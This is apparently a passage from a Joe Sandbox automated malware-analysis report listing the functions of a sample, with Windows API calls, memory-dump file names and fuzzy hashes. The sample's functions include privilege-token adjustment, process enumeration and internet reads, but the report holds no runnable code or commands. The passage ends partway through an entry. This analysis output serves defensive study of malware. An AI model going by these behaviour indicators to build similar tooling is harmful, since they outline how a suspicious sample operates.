LoadLibraryA.KERNEL32 ref: 00007FF6BB19330B
GetProcAddress.KERNEL32 ref: 00007FF6BB193323

Strings

GetNativeSystemInfo, xrefs: 00007FF6BB193319
kernel32.dll, xrefs: 00007FF6BB193304

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 9c402017b67deeecdf71e3c2df55c45970ec8440a50b34eba4d95c6c8b29e614
Instruction ID: 5290bb47ced42ef32a8fb81ac29cf678e10070bbe2fdd6a9e34329358edfa96a
Opcode Fuzzy Hash: 9c402017b67deeecdf71e3c2df55c45970ec8440a50b34eba4d95c6c8b29e614
Instruction Fuzzy Hash: C9E01A61956B0282EF148B28F45436823E0FB4CB4CF840435CA6D86374EFBCD7A5C300

Function 00007FF6BB19BE00 Relevance: 6.1, APIs: 4, Instructions: 101processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF6BB19BE3B
Process32FirstW.KERNEL32 ref: 00007FF6BB19BE4B
CloseHandle.KERNEL32 ref: 00007FF6BB19BF55

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: 926a5f41c70e85f903ad13907dcdbfaef4bd4711574ecbe01ebdb8b6e25b81d1
Instruction ID: 91e75dbe969b17afee416354fc2651edf05ede28cf6ae6dc61d2b7df09e8b4dd
Opcode Fuzzy Hash: 926a5f41c70e85f903ad13907dcdbfaef4bd4711574ecbe01ebdb8b6e25b81d1
Instruction Fuzzy Hash: A6417422A19A8295E710EF69E4445BE7764FB8CB88F549032EF8D83765DF7CD506CB00

Function 00007FF6BB133C20 Relevance: 5.3, APIs: 3, Instructions: 832COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF6BB134F51

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Init_thread_footer
String ID:
API String ID: 1385522511-0
Opcode ID: 5c7faa34d427e9d0143d03f46ca3f078198316e7e168904c09c6ed3f3deaed2c
Instruction ID: ce751b88959f33d3dc25aba7c9572e918d912c6d9ab970761ff435aabd0c3a26
Opcode Fuzzy Hash: 5c7faa34d427e9d0143d03f46ca3f078198316e7e168904c09c6ed3f3deaed2c
Instruction Fuzzy Hash: F2826932A08A5296EB64CF19E4946B973A4FB4CB88F540136DB4E977B4EF3DE841C700

Function 00007FF6BB140E90 Relevance: 4.9, Strings: 3, Instructions: 1176COMMON

Download Yara Rule

Strings

[, xrefs: 00007FF6BB140F40
\, xrefs: 00007FF6BB140F67
, xrefs: 00007FF6BB186C9D

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID:
String ID: $[$\
API String ID: 0-3681541464
Opcode ID: f7681cbd2ea07fa149fa3418819e144fbe1fe0a990a0ed3c69471eaae0dbb131
Instruction ID: f19e80f89ddcfbca06cc9436c6271defa4d5d96b06b60345e5f1ffa86e99b4c3
Opcode Fuzzy Hash: f7681cbd2ea07fa149fa3418819e144fbe1fe0a990a0ed3c69471eaae0dbb131
Instruction Fuzzy Hash: B7B26C72B186528AEB64CF69C8446AC37B1FB4874CF514136DB0D97BA8EF39E941CB40

Function 00007FF6BB151750 Relevance: 4.8, APIs: 3, Instructions: 340COMMONLIBRARYCODE

Download Yara Rule

APIs

memcpy_s.LIBCMT ref: 00007FF6BB1517DB

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 4319a682b676806559ada1e1e2a537e8d5e8e6a4cd1916f84ce5e893799bb061
Instruction ID: 118d279f84706e2f9387fc064f3c5bd5e1ee868d0ef2308ad73cd4341be14493
Opcode Fuzzy Hash: 4319a682b676806559ada1e1e2a537e8d5e8e6a4cd1916f84ce5e893799bb061
Instruction Fuzzy Hash: 5DD1B732B1868687DB35CF19E1947AAB7A1FB88788F148134DB4E97B54DE3CE851CB04

Function 00007FF6BB1A6428 Relevance: 4.6, APIs: 3, Instructions: 116fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF6BB1A6464
FindNextFileW.KERNEL32 ref: 00007FF6BB1A64B9
FindClose.KERNEL32 ref: 00007FF6BB1A64FB

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 48e57e618d05c1161541fb2cfdf83d6530d09c7224f4e65aa15c5650d3fdf655
Instruction ID: 2e2cef3e7f794c5892f0d8828a61b0a851ac02b75ad2249d2ea6d474f3e84681
Opcode Fuzzy Hash: 48e57e618d05c1161541fb2cfdf83d6530d09c7224f4e65aa15c5650d3fdf655
Instruction Fuzzy Hash: FE516C32608A4686DB14DF29D4942AC77A0FB88BD8F504232CB6E877B5CF7CE555CB00

Function 00007FF6BB18D408 Relevance: 4.6, APIs: 3, Instructions: 71memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB18CB58: GetTokenInformation.ADVAPI32 ref: 00007FF6BB18CB8A
Part of subcall function 00007FF6BB18CB58: GetLastError.KERNEL32 ref: 00007FF6BB18CB96
Part of subcall function 00007FF6BB18CB58: GetProcessHeap.KERNEL32 ref: 00007FF6BB18CBA3
Part of subcall function 00007FF6BB18CB58: HeapAlloc.KERNEL32 ref: 00007FF6BB18CBB2
Part of subcall function 00007FF6BB18CB58: GetTokenInformation.ADVAPI32 ref: 00007FF6BB18CBD1

LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6BB18D46A
GetProcessHeap.KERNEL32 ref: 00007FF6BB18D4BE
HeapFree.KERNEL32 ref: 00007FF6BB18D4CC

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue
String ID:
API String ID: 1766415185-0
Opcode ID: bd9ee305005d20edf5c11873021be34db603942109d79114471410cc239d0158
Instruction ID: 1544679771de607db757f63c2e6285131f2b4675e2258e1dc860a5f353b24443
Opcode Fuzzy Hash: bd9ee305005d20edf5c11873021be34db603942109d79114471410cc239d0158
Instruction Fuzzy Hash: AF219C23A48B1186EB10DF19E8046AA67A5FB4CB98F868039DF5D83664DF3CE585C750

Function 00007FF6BB18D5CC Relevance: 4.6, APIs: 3, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB144C68: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6BB144C5C

LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6BB18D630
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6BB18D66F
GetLastError.KERNEL32 ref: 00007FF6BB18D682

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: AdjustConcurrency::cancel_current_taskErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 2278415577-0
Opcode ID: e1f471287d7ae325138f9b5ee0daaff0da076fe013a1d85fba995b81598feca8
Instruction ID: 58feef34868c8435fb14824f6a7c810ea5ad5f540cbf3bf8478f08cd91f08c3f
Opcode Fuzzy Hash: e1f471287d7ae325138f9b5ee0daaff0da076fe013a1d85fba995b81598feca8
Instruction Fuzzy Hash: A721AC72A08A8586DB04DF2AF44026AB7A1FB8CBD8F488439DF4C87728CF78D556C700

Function 00007FF6BB19C054 Relevance: 4.5, APIs: 3, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF6BB19C07D
DeviceIoControl.KERNEL32 ref: 00007FF6BB19C0D7
CloseHandle.KERNEL32 ref: 00007FF6BB19C0E2

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: a8212eb04a4308763a1976214b907e8d9402944d66f39c78de83db0e04bb04f6
Instruction ID: 959c23dd27d2e1c961e1b5f168d3b745470fb63d217d5b76e28c800e332ca4af
Opcode Fuzzy Hash: a8212eb04a4308763a1976214b907e8d9402944d66f39c78de83db0e04bb04f6
Instruction Fuzzy Hash: B0116036608B8197E3508B19F44055EBBE4F788BA4F64423ADB9D43B64DF7CD955CB00

Function 00007FF6BB18D540 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 00007FF6BB18D58C
CheckTokenMembership.ADVAPI32 ref: 00007FF6BB18D5A3
FreeSid.ADVAPI32 ref: 00007FF6BB18D5B4

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 3eb730c412da6b237fdafb429a025579d281427b312740e7d186e067821098ed
Instruction ID: e6017286f30e12103699b62b2a1857d401eb8b1281d91e0ec5de45477c4f621a
Opcode Fuzzy Hash: 3eb730c412da6b237fdafb429a025579d281427b312740e7d186e067821098ed
Instruction Fuzzy Hash: D20100736247818FE7108F24E4553AA37B0F75476EF500929E64986A99CF7DC158CF80

Function 00007FF6BB162F50 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

., xrefs: 00007FF6BB163198

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: e1d1fb4f290d3f8f73012e05781d19b6c344ca2143228aded1dc3f30a5d54e4e
Instruction ID: ac3859e53d4fcd2927c9e2a2cbec39b312b052b5399f67fb6844e5ed3d5b1473
Opcode Fuzzy Hash: e1d1fb4f290d3f8f73012e05781d19b6c344ca2143228aded1dc3f30a5d54e4e
Instruction Fuzzy Hash: 4A316A61F1869144EB209F7EA804676B691FB58BE8F548635EF5E87BE4DE3CD4058300

Function 00007FF6BB1AE968 Relevance: 3.1, APIs: 2, Instructions: 97networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET ref: 00007FF6BB1AE99D
InternetReadFile.WININET ref: 00007FF6BB1AE9E6

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: cbf4455db4f79cbc97e4796fad02e370887e96f061bef8efad8b27a244a452e9
Instruction ID: 03a86c1b420c890c12b03b2fa0c7ed8c02ebf5bd87146e520802d35b0f135c8d
Opcode Fuzzy Hash: cbf4455db4f79cbc97e4796fad02e370887e96f061bef8efad8b27a244a452e9
Instruction Fuzzy Hash: FC314D37B04A0186FB58DF2AD4507B927A1FB88B9CF244435DF1D87BA8DE79E4458B00

Function 00007FF6BB1A71F4 Relevance: 3.0, APIs: 2, Instructions: 47fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF6BB1A7227
FindClose.KERNEL32 ref: 00007FF6BB1A726A

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c9c219a70f1c370a867d1a9527945e6bdb48ca94d3a7acfc6404a472547bc866
Instruction ID: 141b6608a1a9d4f063a0540c80de52b5fbdacdb29290cae4c3a76809edab0f08
Opcode Fuzzy Hash: c9c219a70f1c370a867d1a9527945e6bdb48ca94d3a7acfc6404a472547bc866
Instruction Fuzzy Hash: C5116072B0878182EB10DF2AE08436C7760FB88BA8F058631DB6D877A5CF7CD5558740

Function 00007FF6BB1A3778 Relevance: 3.0, APIs: 2, Instructions: 30windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00007FF6BB1B7AD2), ref: 00007FF6BB1A379A
FormatMessageW.KERNEL32 ref: 00007FF6BB1A37C9

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 0610f22d45407fd0b47a7a649e0349a2c0dbbad51231877a54e137cb0a8b0597
Instruction ID: 466c500d8294cfcdfb38770efcf6ffb4555d1220a2d284ab6f430109ea3accd4
Opcode Fuzzy Hash: 0610f22d45407fd0b47a7a649e0349a2c0dbbad51231877a54e137cb0a8b0597
Instruction Fuzzy Hash: 08F0C872A1864241E7205B59F40436AA6A5FFCD798F104134EB9D83BB9DF3CD0048B00

Function 00007FF6BB18CCE0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6BB18CD07
CloseHandle.KERNEL32 ref: 00007FF6BB18CD1F

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 49a98fc6521228d41d6ee00f4cae757a9dad9a29f92d95664a2eb1366841800e
Instruction ID: f2a7130974189ff3ba8543713f0dd2c61c7f27ba77f7c375803154d5942281eb
Opcode Fuzzy Hash: 49a98fc6521228d41d6ee00f4cae757a9dad9a29f92d95664a2eb1366841800e
Instruction Fuzzy Hash: 49F06576A14A4582EB54DB65E4153B95360FFDCF9CF240532CF0D87664CF7CD0868640

Function 00007FF6BB1595B0 Relevance: 2.9, Strings: 2, Instructions: 378COMMONLIBRARYCODE

Download Yara Rule

Strings

am/pm, xrefs: 00007FF6BB15986E
a/p, xrefs: 00007FF6BB1598D9

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID:
String ID: a/p$am/pm
API String ID: 0-3206640213
Opcode ID: abba1fb59dd0d37a808e969f9d786e5f26a4ac26cb0ba132a4672942b94724d8
Instruction ID: 93bf818c6f5acb614e8e4d2e566f2ebbae57f634664ac0f0dd5f42fe92b42c07
Opcode Fuzzy Hash: abba1fb59dd0d37a808e969f9d786e5f26a4ac26cb0ba132a4672942b94724d8
Instruction Fuzzy Hash: CCE1E622A1865286EB648F2CC1546BD23A5FF497C8F548132EB1EC76E4DF3DE950C31A

Function 00007FF6BB130E70 Relevance: 1.9, Strings: 1, Instructions: 680COMMON

Download Yara Rule

Strings

Variable is not of type 'Object'., xrefs: 00007FF6BB17BA13

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID:
String ID: Variable is not of type 'Object'.
API String ID: 0-1840281001
Opcode ID: 903f54f37762a1b1603f630ddb035c24824f1b40b9e0622cad9e3e6b46b0f31d
Instruction ID: e7fa3921d60be3e21fb4fed7aa394a099ca2c96ed8e81abac89a00a2a826c17b
Opcode Fuzzy Hash: 903f54f37762a1b1603f630ddb035c24824f1b40b9e0622cad9e3e6b46b0f31d
Instruction Fuzzy Hash: 3F526D72A08642AAFB20DF69C0902FD23A1FB4978CF508135DF0D97AA9EF79E555C350

Function 00007FF6BB13FA4F Relevance: 1.7, Strings: 1, Instructions: 447COMMON

Download Yara Rule

Strings

no error, xrefs: 00007FF6BB183953

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID:
String ID: no error
API String ID: 0-1106124726
Opcode ID: daf22cd7e491b1831c7a4d7ece73bd53412841c2595e7b00d29937dbea50e64a
Instruction ID: ce85e9f8df8cb06cc3378e8da896e50c8273059c2471196f5194e9b6b1741c20
Opcode Fuzzy Hash: daf22cd7e491b1831c7a4d7ece73bd53412841c2595e7b00d29937dbea50e64a
Instruction Fuzzy Hash: 82126B72A187919AE724CF69E8402AD37A4FB4874CF144536EF4E97BA4EF38E950C740

Function 00007FF6BB19DC1C Relevance: 1.6, APIs: 1, Instructions: 124timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00007FF6BB19DC4A

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
